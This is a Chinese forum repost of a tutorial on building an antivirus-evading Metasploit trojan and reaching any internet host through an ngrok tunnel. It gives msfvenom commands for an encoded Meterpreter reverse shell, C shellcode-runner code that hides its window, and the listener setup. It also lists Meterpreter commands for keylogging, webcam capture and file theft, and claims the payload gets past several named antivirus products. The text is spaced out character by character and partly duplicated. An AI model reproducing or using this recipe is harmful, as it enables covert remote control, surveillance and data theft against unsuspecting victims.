搜索

[11457] 2017-06-14_Metasploit实验：制作免杀payload+对任意“外网”主机的远控

文档创建者：s7ckTeam
浏览次数：0
最后更新：2025-01-18
2017-06-14_Metasploit实验：制作免杀payload+对任意“外网”主机的远控 M e t a s p l o i t 实 验 ： 制 作 免 杀 p a y l o a d + 对 任 意 “ 外 网 ” 主 机 的 远 控 h a y a   F r e e B u f   2 0 1 7 - 0 6 - 1 4 * 本 文 只 做 技 术 交 流 之 用 ， 技 术 无 罪 ， 希 望 大 家 知 法 懂 法 ， 更 要 守 法 我 发 一 个 文 件 ， 你 电 脑 就 被 我 控 制 了 ， 我 可 以 拍 照 摄 像 下 载 文 件 ， 杀 毒 软 件 也 不 管 用 ！ 我 发 一 个 文 件 ， 你 电 脑 就 被 我 控 制 了 ， 我 可 以 拍 照 摄 像 下 载 文 件 ， 杀 毒 软 件 也 不 管 用 ！ 这 是 怎 么 做 到 的 呢 ？ 这 是 怎 么 做 到 的 呢 ？ 这 个 问 题 的 实 现 需 要 拆 分 成 下 面 三 个 模 块 内 网 穿 透 到 外 网 内 网 穿 透 到 外 网 制 作 免 杀 木 马 后 门 制 作 免 杀 木 马 后 门 M e t a s p l o i t 控 制 客 户 机 控 制 客 户 机 环 境 准 备 环 境 准 备 操 作 系 统 操 作 系 统   用 途 用 途   I P 地 址 地 址   需 要 软 件 需 要 软 件   K a l i 制 作 p a y l o a d ， 攻 击 ， 映 射 端 口 1 9 2 . 1 6 8 . 1 . 1 3 0 M e t a s p l o i t   N g r o k W i n 7 制 作 p a y l o a d 省 略 V C + + 6 . 0 W i n 1 0 客 户 机 任 意 公 网 地 址 无 内 网 穿 透 到 外 网 内 网 穿 透 到 外 网 首 先 我 们 需 要 下 载 一 个 用 于 内 网 穿 透 的 工 具 来 进 行 端 口 映 射 与 转 发 。 这 里 我 用 的 是 l i n u x 6 4 b i t h t t p s : / / w w w . n g r o k . c c / # d o w n - c l i e n t 接 下 来 在 上 面 的 网 站 自 行 注 册 申 请 ， 然 后 登 陆 。 然 后 申 请 免 费 隧 道 ， 选 择 T C P 协 议 ， 自 定 义 远 程 端 口 ， 本 地 I P 地 址 就 是 k a l i 的 I P 地 址 ， 端 口 自 定 义 ， 但 不 要 冲 突 。
这 里 请 记 住 隧 道 i d ， 以 及 自 定 义 远 程 端 口 ， k a l i 本 机 端 口 将 下 载 的 客 户 端 放 置 于 指 定 目 录 ， c d 到 目 录 ， 在 命 令 行 运 行 n g r o k . / s u n n y   c l i e n t i d   隧 道 i d 这 样 就 完 成 了 端 口 映 射 ， 它 能 将 外 网 端 口 接 收 到 的 数 据 返 回 到 本 机 k a l i 的 指 定 端 口 。 内 网 穿 透 的 用 途 很 多 ， 下 面 给 出 说 明 ， 这 里 不 再 赘 述 。 h t t p s : / / n g r o k . c o m / d o c s 制 作 免 杀 木 马 后 门 制 作 免 杀 木 马 后 门 首 先 ， 在 k a l i 中 用 m s f v e n o m 生 成 一 个 p a y l o a d m s f v e n o m   - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p   - e   x 8 6 / s h i k a t a _ g a _ n a i   - i   1 2   - b   ‘ x 0 0 ’ l h o s t = s e r v e r . n g r o k . c c   l p o r t = 1 1 2 0 6   - f   c 上 面 命 令 中 ， - p 选 择 指 定 p a y l o a d ， – e 选 择 制 定 编 码 器 （ 不 同 编 码 器 免 杀 效 果 也 有 不 同 ， 部 分 编 码 器 应 对 火 绒 等 杀 软 效 果 显 著 ） ，   - i 编 码 次 数 ， - b   去 多 余 / 坏 字 符 ， l h o s t 是 你 申 请 的 n g r o k 服 务 器 地 址   l p o r t 是 自 定 义 的 远 程 端 口 ， - f   生 成 指 定 格 式 。 我 这 里 选 择 生 成 基 于 C 语 言 的 数 组 ， 当 然 你 也 可 以 用 以 下 命 令 直 接 得 到 e x e 木 马 ， 但 这 样 免 杀 效 果 会 打 折 扣 ， 经 笔 者 测 试 多 次 ， 重 复 编 码 1 2 次 后 免 杀 效 果 非 常 强 大 ！ m s f v e n o m   - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p   - e   x 8 6 / s h i k a t a _ g a _ n a i   - i   1 2   - b   ‘ x 0 0 ’ l h o s t = s e r v e r . n g r o k . c c   l p o r t = 1 1 2 0 6   - f   e x e   >   h a y a . e x e 然 后 复 制 b u f 数 组
在 w i n 7 下 用 V C 6 . 0 对 下 面 代 码 进 行 编 译 ， 得 到 木 马 。   # i n c l u d e   < s t d i o . h > # p r a g m a c o m m e n t (   l i n k e r ,   “ / s u b s y s t e m : ” w i n d o w s ”   / e n t r y : ” m a i n C R T S t a r t u p ” " ) / / 运 行 时 不 显 示 窗 口 u n s i g n e d c h a r   b u f [ ]   = “ b u f 数 组 ” ; / / 将 复 制 的 数 组 粘 贴 到 此 处 m a i n ( ) { ( ( v o i d ( * ) ( v o i d ) ) & b u f ) ( ) ; } M e t a s p l o i t 控 制 客 户 机 控 制 客 户 机 切 到 K a l i ， 使 用 M e t a s p l o i t 进 行 监 听 。
设 置 监 听 攻 击 模 块 ， 监 听 载 荷 ， I P （ k a l i 本 机 ） ， 端 口 （ n g r o k 里 自 定 义 的 本 地 端 口 ） ， 然 后 e x p 。 u s e   e x p l o i t / m u l t i / h a n d l e r s e t   p a y l o a d s w i n d o w s / m e t e r p r e t e r / r e v e r s e t _ t c p s e t   l h o s t   1 9 2 . 1 6 8 . 1 . 1 3 0 s e t   l p o r t   1 2 3 4 5 e x p l o i t 当 客 户 机 执 行 木 马 后 ， 得 到 一 个 m e t e r p r e t e r ， 可 以 进 行 的 操 作 你 懂 的 哈 哈 。 l i s t 一 些 m e t e r p r e t e r 的 常 用 命 令 。 D o w n l o a d （ （ u p l o a d ） ）   p a t h 下 载 （ 上 传 ） 指 定 目 录 文 件 下 载 （ 上 传 ） 指 定 目 录 文 件
p s 列 出 当 前 系 统 进 程 K i l l   u i d 消 灭 指 定 u i d 系 统 进 程 k e y s c a n _ s t a r t 开 始 键 盘 记 录 软 件 w e b c a m _ s n a p 拍 照 截 屏 s c r e e n s h o t D o w n l o a d （ （ u p l o a d ） ）   p a t h 下 载 （ 上 传 ） 指 定 目 录 文 件 下 载 （ 上 传 ） 指 定 目 录 文 件 关 于 隐 藏 木 马 ， 加 陌 生 壳 ， 自 启 动 ， 文 件 包 含 ， 进 程 转 移 等 各 种 姿 势 加 强 木 马 强 度 就 需 要 大 家 自 行 测 试 了   通 入 上 述 步 骤 得 到 的 木 马 经 过 笔 者 测 试 可 以 通 过 3 6 0 ， 腾 讯 管 家 ， ， 腾 讯 管 家 ， W i n d o w s   d e f e n d e r ， 小 红 伞 ， 小 红 伞 等 杀 毒 软 件 的 查 杀 。 动 态 免 杀 中 ， 对 于 3 6 0 ， 如 果 e x e 没 有 放 在 C 盘 或 者 U 盘 运 行 就 可 以 做 到 动 态 免 杀 ， 仅 仅 会 在 拍 照 等 特 敏 感 操 作 会 有 提 示 ， 其 他 操 作 全 程 不 报 毒 ， d e f e n d e r 和 腾 讯 管 家 腾 讯 管 家 就 更 弱 了 ， 拍 照 也 不 会 有 任 何 提 示 。 后 记 ： 通 过 此 次 实 验 ， 更 加 了 解 了 信 息 安 全 的 重 要 性 。 免 杀 和 杀 软 是 永 远 的 对 头 ， 但 是 两 者 相 互 抗 衡 其 实 加 速 了 安 全 行 业 的 发 展 ， 没 有 绝 对 安 全 的 系 统 ， 攻 防 相 互 对 立 却 又 彼 此 依 存 ， 攻 防 应 合 一 。 文 章 参 考 ： 文 章 参 考 ： h t t p : / / b l o g . c s d n . n e t / l z h d 2 4 / a r t i c l e / d e t a i l s / 5 0 6 6 4 3 4 2 h t t p : / / w w w . f r e e b u f . c o m / s e c t o o l / 1 1 8 7 1 4 . h t m l h t t p : / / w w w . h a c k d i g . c o m / ? 0 3 / h a c k - 2 0 3 0 . h t m * 本 文 作 者 ： h a y a ， 转 载 请 注 明 F r e e B u f . C O M
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理